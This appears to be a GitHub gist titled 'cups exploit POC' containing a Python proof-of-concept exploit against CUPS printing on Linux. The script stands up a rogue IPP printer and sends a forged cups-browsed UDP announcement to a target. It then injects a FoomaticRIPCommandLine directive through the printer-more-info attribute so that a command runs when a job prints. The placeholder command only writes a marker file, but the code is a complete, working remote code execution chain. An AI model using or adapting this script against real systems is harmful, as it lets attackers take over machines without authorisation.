Created
October 1, 2024 15:49
-
-
Save NaiveInvestigator/fe9b59c083d6a6a7b69bbec12837d708 to your computer and use it in GitHub Desktop.
cups exploit POC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import threading | |
import time | |
import sys | |
from ippserver.server import IPPServer | |
import ippserver.behaviour as behaviour | |
from ippserver.server import IPPRequestHandler | |
from ippserver.constants import ( | |
OperationEnum, StatusCodeEnum, SectionEnum, TagEnum | |
) | |
from ippserver.parsers import Integer, Enum, Boolean | |
from ippserver.request import IppRequest | |
class MaliciousPrinter(behaviour.StatelessPrinter): | |
def __init__(self, command): | |
self.command = command | |
super(MaliciousPrinter, self).__init__() | |
def printer_list_attributes(self): | |
attr = { | |
# rfc2911 section 4.4 | |
( | |
SectionEnum.printer, | |
b'printer-uri-supported', | |
TagEnum.uri | |
): [self.printer_uri], | |
( | |
SectionEnum.printer, | |
b'uri-authentication-supported', | |
TagEnum.keyword | |
): [b'none'], | |
( | |
SectionEnum.printer, | |
b'uri-security-supported', | |
TagEnum.keyword | |
): [b'none'], | |
( | |
SectionEnum.printer, | |
b'printer-name', | |
TagEnum.name_without_language | |
): [b'Main Printer'], | |
( | |
SectionEnum.printer, | |
b'printer-info', | |
TagEnum.text_without_language | |
): [b'Main Printer Info'], | |
( | |
SectionEnum.printer, | |
b'printer-make-and-model', | |
TagEnum.text_without_language | |
): [b'HP 0.00'], | |
( | |
SectionEnum.printer, | |
b'printer-state', | |
TagEnum.enum | |
): [Enum(3).bytes()], # XXX 3 is idle | |
( | |
SectionEnum.printer, | |
b'printer-state-reasons', | |
TagEnum.keyword | |
): [b'none'], | |
( | |
SectionEnum.printer, | |
b'ipp-versions-supported', | |
TagEnum.keyword | |
): [b'1.1'], | |
( | |
SectionEnum.printer, | |
b'operations-supported', | |
TagEnum.enum | |
): [ | |
Enum(x).bytes() | |
for x in ( | |
OperationEnum.print_job, # (required by cups) | |
OperationEnum.validate_job, # (required by cups) | |
OperationEnum.cancel_job, # (required by cups) | |
OperationEnum.get_job_attributes, # (required by cups) | |
OperationEnum.get_printer_attributes, | |
)], | |
( | |
SectionEnum.printer, | |
b'multiple-document-jobs-supported', | |
TagEnum.boolean | |
): [Boolean(False).bytes()], | |
( | |
SectionEnum.printer, | |
b'charset-configured', | |
TagEnum.charset | |
): [b'utf-8'], | |
( | |
SectionEnum.printer, | |
b'charset-supported', | |
TagEnum.charset | |
): [b'utf-8'], | |
( | |
SectionEnum.printer, | |
b'natural-language-configured', | |
TagEnum.natural_language | |
): [b'en'], | |
( | |
SectionEnum.printer, | |
b'generated-natural-language-supported', | |
TagEnum.natural_language | |
): [b'en'], | |
( | |
SectionEnum.printer, | |
b'document-format-default', | |
TagEnum.mime_media_type | |
): [b'application/pdf'], | |
( | |
SectionEnum.printer, | |
b'document-format-supported', | |
TagEnum.mime_media_type | |
): [b'application/pdf'], | |
( | |
SectionEnum.printer, | |
b'printer-is-accepting-jobs', | |
TagEnum.boolean | |
): [Boolean(True).bytes()], | |
( | |
SectionEnum.printer, | |
b'queued-job-count', | |
TagEnum.integer | |
): [Integer(666).bytes()], | |
( | |
SectionEnum.printer, | |
b'pdl-override-supported', | |
TagEnum.keyword | |
): [b'not-attempted'], | |
( | |
SectionEnum.printer, | |
b'printer-up-time', | |
TagEnum.integer | |
): [Integer(self.printer_uptime()).bytes()], | |
( | |
SectionEnum.printer, | |
b'compression-supported', | |
TagEnum.keyword | |
): [b'none'], | |
( | |
SectionEnum.printer, | |
b'printer-more-info', # try printer-charge-info-uri printer-strings-uri | |
TagEnum.uri | |
): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' + | |
self.command.encode() + | |
b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'], | |
} | |
attr.update(super().minimal_attributes()) | |
return attr | |
def handle_postscript(self, req, _psfile): | |
print("target connected, sending payload ...") | |
attributes = self.printer_list_attributes() | |
return IppRequest( | |
self.version, | |
StatusCodeEnum.ok, | |
req.request_id, | |
attributes) | |
def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port): | |
print("sending udp packet to %s:%d ..." % (ip, port)) | |
printer_type = 0x00 | |
printer_state = 0x03 | |
printer_uri = 'http://%s:%d/printers/NAME' % ( | |
ipp_server_host, ipp_server_port) | |
printer_location = 'Office HQ' | |
printer_info = 'Printer' | |
message = bytes('%x %x %s "%s" "%s"' % | |
(printer_type, | |
printer_state, | |
printer_uri, | |
printer_location, | |
printer_info), 'UTF-8') | |
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
sock.sendto(message, (ip, port)) | |
def wait_until_ctrl_c(): | |
try: | |
while True: | |
time.sleep(300) | |
except KeyboardInterrupt: | |
return | |
def run_server(server): | |
print('malicious ipp server listening on ', server.server_address) | |
server_thread = threading.Thread(target=server.serve_forever) | |
server_thread.daemon = True | |
server_thread.start() | |
wait_until_ctrl_c() | |
server.shutdown() | |
if __name__ == "__main__": | |
if len(sys.argv) != 3: | |
print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0]) | |
quit() | |
SERVER_HOST = sys.argv[1] | |
SERVER_PORT = 12345 | |
command = "echo 1 > /tmp/I_AM_VULNERABLE" | |
server = IPPServer((SERVER_HOST, SERVER_PORT), | |
IPPRequestHandler, MaliciousPrinter(command)) | |
threading.Thread( | |
target=run_server, | |
args=(server, ) | |
).start() | |
TARGET_HOST = sys.argv[2] | |
TARGET_PORT = 631 | |
send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT) | |
print("wating ...") | |
while True: | |
time.sleep(1.0) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment